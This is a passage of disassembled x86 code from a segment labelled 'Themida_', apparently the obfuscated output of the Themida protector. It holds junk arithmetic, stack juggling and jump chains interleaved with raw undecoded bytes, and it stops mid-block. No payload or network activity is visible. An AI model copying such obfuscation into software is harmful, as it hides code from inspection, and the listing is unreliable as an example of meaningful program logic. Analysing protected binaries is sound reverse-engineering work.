		jmp	loc_63F5C5
; ---------------------------------------------------------------------------
		db 55h,	83h, 0ECh
		dd 24148904h, 0AE4B8968h, 57505A2Dh, 0EF003CBFh, 0E9F88964h
		dd 0FFFF46ECh, 405h, 24048700h,	76CE95Ch, 0C301FFFFh, 97D0E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6464CA:				; CODE XREF: Themida_:0063D651j
		pop	esp
		jmp	loc_63DA42
; ---------------------------------------------------------------------------
		dd 0A660EF81h, 0F90116E4h, 0E92434FFh, 0FFFF7BE6h, 24048B66h
		dd 8904EC83h, 0E0892404h, 405h,	42D00h,	4870000h, 24248B24h
		dd 54240C89h, 81240C8Bh, 4C4h, 78EE6800h, 3C890000h, 0D073E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_646516:				; CODE XREF: Themida_:0064916Cj
		sub	ebp, 12BD4975h
		sub	ebp, esi
		add	ebp, 12BD4975h
		pop	esi
		sub	ebp, 5D4E631Eh
		add	ebp, ecx
		add	ebp, 5D4E631Eh
		push	eax
		jmp	loc_635EF5
; ---------------------------------------------------------------------------


loc_646539:				; CODE XREF: Themida_:00639403j
		push	ebp
		jmp	loc_637829
; ---------------------------------------------------------------------------


loc_64653F:				; CODE XREF: Themida_:0064232Cj
		inc	ecx
		shl	ecx, 6
		sub	ecx, 0DD092031h
		add	esi, ecx
		pop	ecx
		neg	esi
		push	edi
		mov	edi, 39E819BEh
		xor	esi, edi
		pop	edi
		push	esi
		jmp	loc_6484A4
; ---------------------------------------------------------------------------
		db 0F6h, 0D5h, 88h
		dd 822C59E8h, 0E906E8C0h, 3F3Ah, 24048B66h, 3AE068h, 24148900h
		dd 8904EC83h, 4812424h,	424h, 2434FF00h, 0DDE9565Ah, 8100003Eh
		dd 8FDF42F5h, 0E9EA89E7h, 0FFFF4C2Bh, 1AEFE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6465A2:				; CODE XREF: Themida_:0064047Fj
		mov	ebp, 0E7FAC3ABh
		add	edx, ebp
		pop	ebp
		mov	[edi+20h], edx
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_63F1FC
; ---------------------------------------------------------------------------
		dd 68242C8Bh, 401Dh, 25E0E9h
		db 0
; ---------------------------------------------------------------------------


loc_6465D1:				; CODE XREF: Themida_:0063564Dj
		mov	edx, 136B04C3h
		push	esi
		mov	esi, 55DB6198h
		shr	esi, 3
		jmp	loc_63795B
; ---------------------------------------------------------------------------
		dd 451DC781h, 0FE0993B3h, 2BB8505Fh, 164C037h, 7DAEE9C6h
		dd 0C329FFFFh, 47BBE958h, 0E2C1FFFFh, 0E9D2F707h, 0FFFFC4E3h
		dd 4C281h, 14870000h, 0EC835C24h, 24348904h, 3A126857h
		dd 3C8B452Fh, 4C48124h,	47000000h, 0BA52D7F7h, 44D376ABh
		dd 0B345F281h, 0D731FE03h, 8324148Bh, 66E904C4h, 2DFFFFBBh
		dd 1B222281h, 0CC171405h, 53F8017Ah, 105C7BBBh,	87CB8130h
		dd 0C1794E52h, 0EB8102EBh, 4B64315Eh, 0D387DBF7h, 0D387D2F7h
		dd 0B0B4C381h, 0D829A7D8h, 2281055Bh, 0CCE91B22h, 0E9FFFEFAh
		dd 0FFFEEF1Dh
; ---------------------------------------------------------------------------


loc_646688:				; CODE XREF: Themida_:00637F7Fj
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		mov	ebx, 4
		sub	eax, ebx
		jmp	loc_6373EF
; ---------------------------------------------------------------------------


loc_64669D:				; CODE XREF: Themida_:00647B2Cj
		pop	esi
		mov	edx, edi
		pop	edi
		xor	eax, edx
		pop	edx
		jmp	loc_63A0C5
; ---------------------------------------------------------------------------
		db 0B8h, 6Bh, 6Eh
		dd 0D0F77CC3h, 0F95E9h,	5EF32900h, 0E95BDA31h, 3D0Bh, 5B2434FFh
		dd 4C481h, 48F0000h, 24248B24h,	24048966h, 0FEEECCE9h
		dd 792F68FFh, 34FF0410h, 0C4815924h, 4,	6070BA52h, 0E9813CAAh
		dd 15106940h, 80E9D129h, 66FFFFBBh, 66240489h, 88243481h
		dd 2C8B6642h, 8FE95624h, 5200002Dh, 0FF1A1AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_646715:				; CODE XREF: Themida_:0063786Aj
		mov	eax, ebx
		mov	ebx, [esp]
		jmp	loc_640E06
; ---------------------------------------------------------------------------
		db 89h
		dd 405E0h, 0C0830000h, 24043304h, 0E9240431h, 0FFFFBF23h
; ---------------------------------------------------------------------------


loc_646734:				; CODE XREF: Themida_:0063C3C2j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_6387EE
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 4EE92424h, 89FFFEEEh, 0E0892404h, 405h, 9E95600h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_646767:				; CODE XREF: Themida_:006355A9j
		shr	dl, 7
		not	dl
		inc	dl
		push	dx
		xchg	ch, [esp]
		not	ch
		jmp	loc_643FB9
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 0E95A0424h, 356Eh
; ---------------------------------------------------------------------------


loc_646784:				; CODE XREF: Themida_:0063FEA5j
		add	ecx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebx
		jmp	loc_63AC52
; ---------------------------------------------------------------------------


loc_646796:				; CODE XREF: Themida_:0063D230j
		mov	esp, [esp]
		shr	ecx, 0Ah
		push	ebp
		jmp	loc_644FDA
; ---------------------------------------------------------------------------
		dw 6866h
		dd 0CE94B9Ch, 3100000Eh, 1C33241Ch, 0EC835C24h,	240C8904h
		dd 0B6E934B1h, 8BFFFF55h, 0C481240Ch, 4, 0FF8883E9h, 240489FFh
		dd 0A51506B8h, 30152D21h, 3FE9394Dh, 81FFFF05h,	762876C7h
		dd 0AFC58128h, 156B333h, 0AFED81FDh, 0E956B333h, 1495h
; ---------------------------------------------------------------------------


loc_6467F8:				; CODE XREF: Themida_:00646898j
		inc	edi
		shl	edi, 3
		push	edi
		dec	dword ptr [esp]
		not	dword ptr [esp]
		pop	edi
		push	esi
		mov	esi, 51B9FEDCh
		xor	edi, esi
		pop	esi
		add	ebx, 0C1956A6h
		jmp	loc_63B187
; ---------------------------------------------------------------------------
		dd 24332AB9h, 4FBD5505h, 0E945E03Bh, 0FFFF0A37h, 240C8B66h
		dd 4EC8356h, 52242489h,	4BAh, 24540100h, 5EE95A04h, 50FFFF6Ah
		dd 0F82DC7B8h, 8BC3291Bh, 8CE92404h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_646853:				; CODE XREF: Themida_:00643A4Ej
		sub	ebx, 0CE04B5C2h
		sub	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_638863
; ---------------------------------------------------------------------------
		db 52h
		dd 0C281E289h, 4, 4EA81h, 16E90000h, 0BFFFFF15h, 4EF20EB3h
		dd 7CC78147h, 0E90A1A6Dh, 0FFFF9A71h
; ---------------------------------------------------------------------------


loc_64688C:				; CODE XREF: Themida_:0063984Bj
		sub	edi, 562C753Eh
		add	edi, 37CD237Eh
		jmp	loc_6467F8
; ---------------------------------------------------------------------------


loc_64689D:				; CODE XREF: Themida_:0064AC1Cj
		mov	[esp], edi
		mov	edi, 2EBE1951h
		push	eax
		mov	eax, 3AC51B9Fh
		shl	eax, 2
		sub	eax, 9C85314Ah
		and	edi, eax
		pop	eax
		inc	edi
		and	edi, 675E0A2Ch
		and	edi, 4705231Ah
		or	edi, 5E461E09h
		jmp	loc_63D3E4
; ---------------------------------------------------------------------------


loc_6468CE:				; CODE XREF: Themida_:0063831Aj
		mov	esi, 387A03A6h
		jmp	loc_64339A
; ---------------------------------------------------------------------------
		dd 875FFB01h, 3193E9CBh, 8B66FFFFh, 0EC83240Ch,	314BE904h
		dd 48BFFFFh, 4C48324h, 7E586850h, 24890000h, 24048324h
		dd 73E95804h, 0BAFFFF3Bh, 25273B69h, 4E5AD689h,	0DEF7DEF7h
		dd 5C38EE81h, 0EE81715Bh, 4CC0D755h, 6DE9F029h,	50FFFFE3h
		dd 4B8h, 58C18900h, 34FFCE01h, 89565924h, 4C681E6h, 57000000h
		dd 4BD55h, 6DE90000h, 57FFFF84h, 0C781E789h, 4,	4DA7BA52h
		dd 0E9537152h, 0FFFF57F8h
; ---------------------------------------------------------------------------


loc_646960:				; CODE XREF: Themida_:0064364Cj
		sub	dl, 0ECh
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_63B60F
; ---------------------------------------------------------------------------


loc_64696F:				; CODE XREF: Themida_:00643ADFj
		push	ebx
		mov	ebx, 5E5B63C9h
		add	ebx, 34E61D22h
		xor	ebx, 32BB24CBh
		xor	ebx, 37A275C1h
		or	ebx, 2E652F9h
		jmp	loc_63A2DE
; ---------------------------------------------------------------------------
		dw 0D468h
		dd 0E9000025h, 0FFFF038Fh, 83243C8Bh, 0B95104C4h, 792579E1h
		dd 2959CD29h, 0E1C581CDh, 59792579h, 8904EC83h,	6ABD242Ch
		dd 2931242Bh, 0F475E9E8h, 0E389FFFEh, 0FFF71DE9h, 0DEB850FFh
		dd 0D721E19h, 0FEC242Eh, 7C7FDE25h, 57D8F71Ah, 0D152AEBFh
		dd 0E9F829C4h, 0FFFFB1BEh, 315FFB21h, 0E9DE31F3h, 0FFFEFA78h
		dd 8B243487h, 48F2424h,	0F39E924h, 8F5AFFFFh, 895C2404h
		dd 3668240Ch, 8B3DBB33h, 0C481240Ch, 4,	76C7BD55h, 0E5C1475Ah
		dd 0FBC58104h, 810CA229h, 3624EEEDh, 5C38686Bh,	0C890000h
		dd 8ADB924h, 53E938FAh,	51000002h, 9859B3B9h, 0B5C1813Eh
		dd 0E92C4423h, 0FFFF96BEh, 79BDBB53h, 0A6E962F0h
		db 0F4h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_646A5F:				; CODE XREF: Themida_:006400E7j
		push	esi
		jmp	loc_641A31
; ---------------------------------------------------------------------------
		db 5Fh,	83h, 0C2h
		dd 24148704h, 524248Bh,	2, 8B240487h, 0BBE92424h
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_646A7F:				; CODE XREF: Themida_:0063643Fj
		push	ebx
		jmp	loc_635CC5
; ---------------------------------------------------------------------------


loc_646A85:				; CODE XREF: Themida_:00635EF0j
		add	edx, 0FFFFFFFFh
		jmp	loc_63E472
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 9C240CD2h, 0FFFBE6E9h, 0A0E959FFh
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_646AA3:				; CODE XREF: Themida_:00647DBAj
		push	eax
		jmp	loc_6455F6
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 56000000h, 0FF9EBDE9h, 0E9FD31FFh, 0FFFF50F0h, 4617E95Ch
		dd 3489FFFFh, 4BB5324h,	89000000h, 44815BDEh, 0FA0424h
		dd 44815AD1h, 45D0424h,	740136F9h, 6C810424h, 45D0424h
		dd 6C8136F9h, 0FA0424h,	0E95E5AD1h, 0FFFFFCC7h,	0E95FFB89h
		dd 3F9Ah, 0E904C483h, 1D26h, 4B9h, 59CD0100h, 31242C33h
		dd 2C33242Ch, 24248B24h, 0DD6E9h
		db 0
; ---------------------------------------------------------------------------


loc_646B21:				; CODE XREF: Themida_:0063B068j
		mov	[esp], esi
		push	ebp
		push	edx
		push	4E9F3734h
		pop	edx
		jmp	loc_643D3B
; ---------------------------------------------------------------------------
		db 0BEh, 9Ch, 4Ah
		dd 76E9067Eh
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_646B3B:				; CODE XREF: Themida_:0063CB84j
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	7D9Fh
		mov	[esp], ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], esi
		push	38AA2C03h
		pop	esi
		push	ebp
		jmp	loc_640AB2
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 56242C89h, 2D416850h, 2558213Ch, 38BB2E9Ch, 981E2805h
		dd 4EC831Ah, 81240489h,	745E242Ch, 815E4690h, 90745EC6h
		dd 24048B46h, 8904C483h, 32E95EF5h, 5AFFFFFEh, 6F0C68h
		dd 243C8900h, 4C1B6852h, 148B2110h, 7760E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_646BB2:				; CODE XREF: Themida_:00636916j
		mov	ebp, 54D44F79h
		neg	ebp
		neg	ebp
		sub	ebp, 54D44F75h
		mov	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		jmp	loc_641537
; ---------------------------------------------------------------------------


loc_646BEB:				; CODE XREF: Themida_:0063BA39j
		pop	dword ptr [esp]
		pop	esp
		neg	eax
		jmp	loc_64742D
; ---------------------------------------------------------------------------


loc_646BF6:				; CODE XREF: Themida_:00642C01j
		mov	eax, ebp
		pop	ebp
		and	eax, 701470AEh
		shl	eax, 7
		jmp	loc_64204F
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 0FFFFE7EDh
; ---------------------------------------------------------------------------


loc_646C0C:				; CODE XREF: Themida_:00643E5Bj
		add	[esp+8], ebp
		jmp	loc_63D4F8
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0C7h
		dd 2ED90FECh, 0EF81CF01h, 2ED90FECh, 0DFF75B59h, 242C8357h
		dd 0CB3E9FFh, 0E958FFFFh, 384Bh
; ---------------------------------------------------------------------------


loc_646C38:				; CODE XREF: Themida_:0064729Dj
		add	esp, 4
		jmp	loc_639655
; ---------------------------------------------------------------------------
aHc5i6x@	db 'hc56X@-',0
		db 0B3h, 61h, 0E9h
		dd 0FFFFBBB5h, 295BDE89h, 0C3295EF3h, 756E9h, 32AF6800h
		dd 1FE90000h, 1FFFFB5h,	0BD5559C8h, 27FF42FAh, 535DE829h
		dd 49D6E955h, 0EF31FFFFh, 0F7E7D15Dh, 0D7C781D7h, 0E9887EA2h
		dd 0FFFF05DEh, 0FD36E95Ch, 0E9C1FFFEh, 7E1C108h, 84E94949h
		dd 0FFFFA4h, 0AA5AE9D1h, 2D05FFFFh, 2D74BB6Bh, 4A405F7Eh
		dd 7E05E801h, 2D4A405Fh, 74BB6B2Dh, 238DE95Dh, 89530000h
		dd 4C381E3h, 81000000h,	4C3h, 241C8700h, 423E95Ch, 815EFFFFh
		dd 4C6h, 4EE8300h, 5C243487h, 0E9241C89h, 0FFFFA836h, 8758C201h
		dd 815C2414h, 3D3D8AC3h, 11C38109h, 14F562Ah, 0C1DBE9FBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_646D0E:				; CODE XREF: Themida_:006489A4j
		shl	eax, 4
		dec	eax
		jmp	loc_643A8E
; ---------------------------------------------------------------------------
		db 81h
		dd 2E7C81EDh, 0FCED8151h, 1047370h, 0F445E9CDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_646D2A:				; CODE XREF: Themida_:0063D600j
		sub	esp, 4
		mov	[esp], esi
		push	3E956826h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_63B8E1
; ---------------------------------------------------------------------------
		db 80h
		dd 805A70EFh, 0F780F3EFh, 8BFE0074h, 0C481241Ch, 4, 0FF0999E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_646D5D:				; CODE XREF: Themida_:00635EA3j
		mov	esi, 7DBF7B7Dh
		sub	edi, esi
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	esi, edi
		pop	edi
		jmp	loc_63A93A
; ---------------------------------------------------------------------------


loc_646D85:				; CODE XREF: Themida_:006405F9j
		pop	ebx
		sub	dl, ah
		sub	dl, 83h
		mov	eax, [esp]
		add	esp, 4
		add	al, dl
		jmp	loc_64419D
; ---------------------------------------------------------------------------
		dd 9072E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_646D9E:				; CODE XREF: Themida_:00647636j
		pop	ebp
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	edi, 9ED4B2B5h
		push	edi
		xor	dword ptr [esp], 50B1223h
		pop	ecx
		xor	ecx, 50B1223h
		jmp	loc_636BBA
; ---------------------------------------------------------------------------


loc_646DC5:				; CODE XREF: Themida_:00647266j
		push	ecx
		jmp	loc_642F1A
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0EE4E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_646DD6:				; CODE XREF: Themida_:0064A0DCj
		mov	ecx, [edx]
		mov	edx, [esp]
		add	esp, 4
		push	6AF6h
		jmp	loc_649428
; ---------------------------------------------------------------------------
		db 28h
		dd 4EC83C3h, 0B2241489h, 83DAF607h, 1C8904ECh, 3EE95224h
		dd 80FFFFEDh, 0D000FEC2h, 0FF83FAE9h, 241C87FFh, 8924248Bh
		dd 34FF242Ch, 0C4835A24h, 82E95D04h, 0FFFFFEE7h, 0C3E92434h
		dd 5FFFFFFAh, 0FFC3E3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_646E31:				; CODE XREF: Themida_:0063FBA7j
		add	edi, 6BE67D75h
		xor	edi, 0D20F2DD5h
		add	ebp, edi
		jmp	loc_63FD02
; ---------------------------------------------------------------------------


loc_646E44:				; CODE XREF: Themida_:00643B4Fj
		or	ecx, 15057CB1h
		xor	ecx, 0C4DD56BAh
		add	ebp, ecx
		pop	ecx
		shl	ebp, 3
		push	esi
		push	228360BBh
		pop	esi
		jmp	loc_6421E4
; ---------------------------------------------------------------------------


loc_646E62:				; CODE XREF: Themida_:0063E941j
		xor	esi, eax
		xor	eax, esi
		push	eax
		jmp	loc_64A5C8
; ---------------------------------------------------------------------------


loc_646E6C:				; CODE XREF: Themida_:00643C5Cj
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_6355A5
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 81000000h, 4EFh, 243C8700h, 2434895Ch, 6FE9E689h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_646E8F:				; CODE XREF: Themida_:0064994Dj
		sub	esi, 27186ACBh
		sub	esi, ebx
		add	esi, 27186ACBh
		pop	ebx
		mov	eax, esi
		pop	esi
		add	edi, 20E03294h
		add	edi, eax
		jmp	loc_63C00F
; ---------------------------------------------------------------------------
		dw 0E800h
		dd 83240C8Bh, 0F82804C4h, 535B9C2Ch, 0C78083B7h, 1AEF808Eh
		dd 0C7FEEFD0h, 0FFC769E9h, 243489FFh, 2791E9h, 4BD5500h
		dd 1000000h, 36685DEAh,	8900002Eh, 0EC81242Ch, 4, 0E9241489h
		dd 0FFFFADD0h, 68588BBAh, 5AD3297Ch, 24148B66h,	0B5F4E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_646F06:				; CODE XREF: Themida_:00642250j
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		xor	edx, ebx
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 56C30575h
		not	ecx
		and	ecx, 68AD1E5Fh
		jmp	loc_63F417
; ---------------------------------------------------------------------------
		db 55h
		dd 2D4294BDh, 5DEA017Dh, 0E950C229h, 0FFFF0DA9h, 8904EC83h
		dd 9682414h, 5A0A3635h,	626CA81h, 0EA812413h, 690B3326h
		dd 55C2814Ah, 899DA319h, 49E95AD6h, 0BEFFFF8Ch,	3F1A459Ah
		dd 0FF5425E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_646F7D:				; CODE XREF: Themida_:00642AA2j
		pop	esi
		add	edx, 0F99EF3CEh
		and	ecx, edx
		jmp	loc_641164
; ---------------------------------------------------------------------------
aZb		db ')Z',0
		db 5Eh,	0E3h, 51h
		dd 0D64ED81h, 34FF3854h, 89505E24h, 405E0h, 0BA520000h
		dd 4, 505AD001h, 0FF3203E9h, 0D4C381FFh, 8302B171h, 0AE904ECh
		dd 56FFFFFFh, 0BB53E689h, 30934027h, 0FEE9DCE9h, 4C481FFh
		dd 81000000h, 4E6A7FC1h, 59CE0108h, 0E9243487h,	16B6h
		dd 0D82852B3h, 83241C8Bh, 45904C4h, 0F02E9A6h, 15AFFFFh
		dd 2434FFDAh, 0FF033BE9h, 74FF53FFh, 13E90424h,	1FFFEEEh
		dd 316805F0h, 9E2D48C2h, 0E940AC14h, 0FFFF3BF9h, 5740C205h
		dd 2DF80177h, 775740C2h, 0E6BF575Fh, 813B5C1Ah,	5C1AE2F7h
		dd 0E9F8013Bh, 0FFFF67ACh
; ---------------------------------------------------------------------------


loc_647040:				; CODE XREF: Themida_:00636A23j
		and	edx, eax
		mov	eax, [esp]
		add	esp, 4
		dec	edx
		push	eax
		mov	eax, 753A0C30h
		inc	eax
		neg	eax
		push	edx
		jmp	loc_63752E
; ---------------------------------------------------------------------------
		db 52h
		dd 0FFFE93E9h, 3EEC1FFh, 241CF756h, 8324348Bh, 986804C4h
		dd 8900001Ah, 9ABD242Ch, 29C0993Ch, 0C0055DEEh,	29006D38h
		dd 38C02DF0h, 348B006Dh, 4C48324h, 83240C8Bh, 0C33104C4h
		dd 0FF3E90E9h, 0E953ADFFh, 0FFFF8A42h, 7F583D2Dh, 58C221C5h
		dd 6FD3C281h, 0D52110A1h, 0A0E95Ah, 0F0090000h,	8324348Bh
		dd 860504C4h, 1801088h,	0E489E9C6h, 8952FFFFh, 4C281E2h
		dd 83000000h, 0C8904ECh, 1F3E924h, 34FF0000h, 0D381E924h
		dd 0C1FEFFFFh, 0FF8AF1E9h, 98C281FFh, 0E9070B29h, 1A64h
		dd 48BC501h, 4C48324h, 0E9242C87h, 0FFFFAC79h
; ---------------------------------------------------------------------------


loc_64710C:				; CODE XREF: Themida_:00648D54j
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		mov	esp, [esp]
		shr	eax, 12h
		xor	eax, ecx
		push	eax
		sub	esp, 4
		mov	[esp], edx
		pop	eax
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xchg	ebp, edx
		not	ebp
		sub	esp, 4
		jmp	loc_63B16D
; ---------------------------------------------------------------------------


loc_647147:				; CODE XREF: Themida_:00647A21j
		pop	esi
		add	esp, 4
		and	eax, ebp
		mov	ebp, [esp]
		push	eax
		push	esp
		jmp	loc_645017
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 0FFFFFFFFh, 0C5814D45h, 267DD232h, 0FF411FE9h, 8BDD89FFh
		dd 0C481241Ch, 4, 8904EC83h, 0BE56241Ch, 62CE1E2Bh, 285B05BBh
		dd 0FF78E972h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_64718E:				; CODE XREF: Themida_:00647456j
		pop	eax
		push	eax
		mov	eax, esp
		jmp	loc_63A046
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFEE409h
; ---------------------------------------------------------------------------


loc_64719C:				; CODE XREF: Themida_:0063D047j
		pop	dword ptr [esp]
		jmp	loc_636C49
; ---------------------------------------------------------------------------
		dd 68EFE956h, 68ACFFFFh, 467Fh,	0B3241C89h, 0C609E9E4h
		dd 0EDD1FFFFh, 1D3868h,	24048900h, 0F65EB3B8h, 8E0C141h
		dd 0FFEDA2E9h, 48F66FFh, 0DF31E924h, 3C87FFFFh,	3C895C24h
		dd 21CCBF24h, 0C78330F1h, 1EF83FFh, 21CEF781h, 0C38130F1h
		dd 2BB94308h, 0EB81FB01h, 2BB94308h, 241C875Fh,	0FFB242E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_647209:				; CODE XREF: Themida_:0063DE0Bj
		add	esp, 4
		shr	ecx, 7
		push	ebx
		mov	ebx, esp
		push	54FFh
		mov	[esp], esi
		mov	esi, 4
		add	ebx, 76E16437h
		add	ebx, esi
		sub	ebx, 76E16437h
		pop	esi
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		push	ecx
		mov	ecx, 278C00ADh
		sub	dword ptr [esp+4], 389B25EEh
		sub	[esp+4], ecx
		add	dword ptr [esp+4], 389B25EEh
		pop	ecx
		pop	eax
		push	ebp
		mov	ebp, 6D3576E5h
		sub	ebp, 569B0DE3h
		jmp	loc_646DC5
; ---------------------------------------------------------------------------


loc_64726B:				; CODE XREF: Themida_:0064A023j
		mov	[esp], ebp
		mov	ebp, 50D70B92h
		or	ebp, 4EFF1E44h
		sub	ebp, 251975C7h
		neg	ebp
		sub	ebp, 5A75102Fh
		mov	ecx, ebp
		pop	ebp
		add	edx, ecx
		jmp	loc_642A0B
; ---------------------------------------------------------------------------
		db 88h,	0C1h, 0E9h
		dd 0FFFF176Ch
; ---------------------------------------------------------------------------


loc_647298:				; CODE XREF: Themida_:00636C08j
		add	eax, edi
		mov	edi, [esp]
		jmp	loc_646C38
; ---------------------------------------------------------------------------


loc_6472A2:				; CODE XREF: Themida_:0063D5D0j
		mov	ecx, 2D57411Ah
		jmp	loc_636CD8
; ---------------------------------------------------------------------------
		dd 5C240487h, 5A2434FFh, 0E9E08950h, 0FFFEE351h
; ---------------------------------------------------------------------------


loc_6472BC:				; CODE XREF: Themida_:0063A71Dj
		inc	esi
		push	20B2h
		mov	[esp], ecx
		mov	ecx, 4B68001Dh
		push	esi
		mov	esi, 16125105h
		jmp	loc_642329
; ---------------------------------------------------------------------------
		db 0B9h, 4, 0
		dd 0CA010000h, 24148759h, 0FFCF015Ch, 0C8B2434h, 4C48324h
		dd 91E95453h, 29FFFF99h, 2EE95BDDh, 57FFFF9Ch, 0EF815F58h
		dd 214D3B61h, 0C781C729h, 214D3B61h, 0FFE1AEE9h, 5AD331FFh
		dd 0FFCFA9E9h, 0A1F181FFh, 81F6228Bh, 7A756DE1h, 46F18102h
		dd 0E91AA161h, 0FFFF3FD8h, 4C781h, 0C7810000h, 4, 5C243C87h
		dd 4C681h, 43E90000h, 81FFFF78h, 440A0C3h, 81CB0174h, 440A0EBh
		dd 0E2BEE974h, 8141FFFEh, 5061A3E9h, 59C8012Fh,	0DF2DE801h
		dd 8B77587Ah, 8952242Ch, 4C281E2h, 81000000h, 4C2h, 3237E900h
		dd 3ABDFFFFh, 0BF4D6853h, 0CB335AAh, 815DEF31h,	0DB6694F7h
		dd 5FF80141h, 2F88E9h, 0E0895000h, 0FF683DE9h, 5FE95CFFh
		dd 31FFFEFAh, 4E95BD9h,	55000033h, 1D5F20BDh, 0EB9517Eh
		dd 0E9575D5Fh, 0FFFFC908h
; ---------------------------------------------------------------------------


loc_6473C8:				; CODE XREF: Themida_:0063998Fj
		push	edx
		jmp	loc_6461A5
; ---------------------------------------------------------------------------
		dw 0DD88h
		dd 0E959EA88h, 13DFh
; ---------------------------------------------------------------------------


loc_6473D8:				; CODE XREF: Themida_:00647A2Ej
		add	esp, 4
		mov	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_64248B
; ---------------------------------------------------------------------------
		dd 64F5805Bh, 2829ED80h, 0C30059EBh, 1D8668h, 24148900h
		dd 4EC81h, 4890000h, 535EB424h,	0FF4A29E9h, 240489FFh
		dd 0FEE190E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_647415:				; CODE XREF: Themida_:0063807Cj
		push	edx
		mov	edx, esp
		jmp	loc_647FAB
; ---------------------------------------------------------------------------
		db 0F7h, 0D6h, 31h
		dd 34332434h, 24343124h, 0FFD3CBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_64742D:				; CODE XREF: Themida_:00646BF1j
		sub	eax, 165122E6h
		push	ebx
		mov	ebx, 0A566CCD6h
		add	eax, 56C83A36h
		sub	eax, ebx
		sub	eax, 56C83A36h
		pop	ebx
		and	ecx, eax
		pop	eax
		shr	ecx, 0Bh
		push	6541h
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_64718E
; ---------------------------------------------------------------------------
		db 81h
		dd 0CE4309C7h, 0E94F4F5Ah, 0FFFF2320h, 15AD731h, 243C8BF8h
		dd 0E904C483h, 0FFFF0FC3h, 924E4E05h, 2DC82902h, 2924E4Eh
		dd 6897E959h
		db 2 dup(0FFh),	58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4EBB56E9h
		jmp	loc_64789F
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48324h, 1B7FE956h,	0C181FFFFh, 4, 0FFAF36E9h, 5BDA01FFh
		dd 895AD131h, 0DBF759CBh, 2110C381h, 0CB81224Fh, 68BB5388h
		dd 262EB850h, 0C3316D24h, 0FF8F41E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6474DD:				; CODE XREF: Themida_:0063CCF2j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_64489B
; ---------------------------------------------------------------------------


loc_6474F5:				; CODE XREF: Themida_:00636E92j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_63B46F
; ---------------------------------------------------------------------------


loc_647503:				; CODE XREF: Themida_:0063A1EFj
		mov	[esp], eax
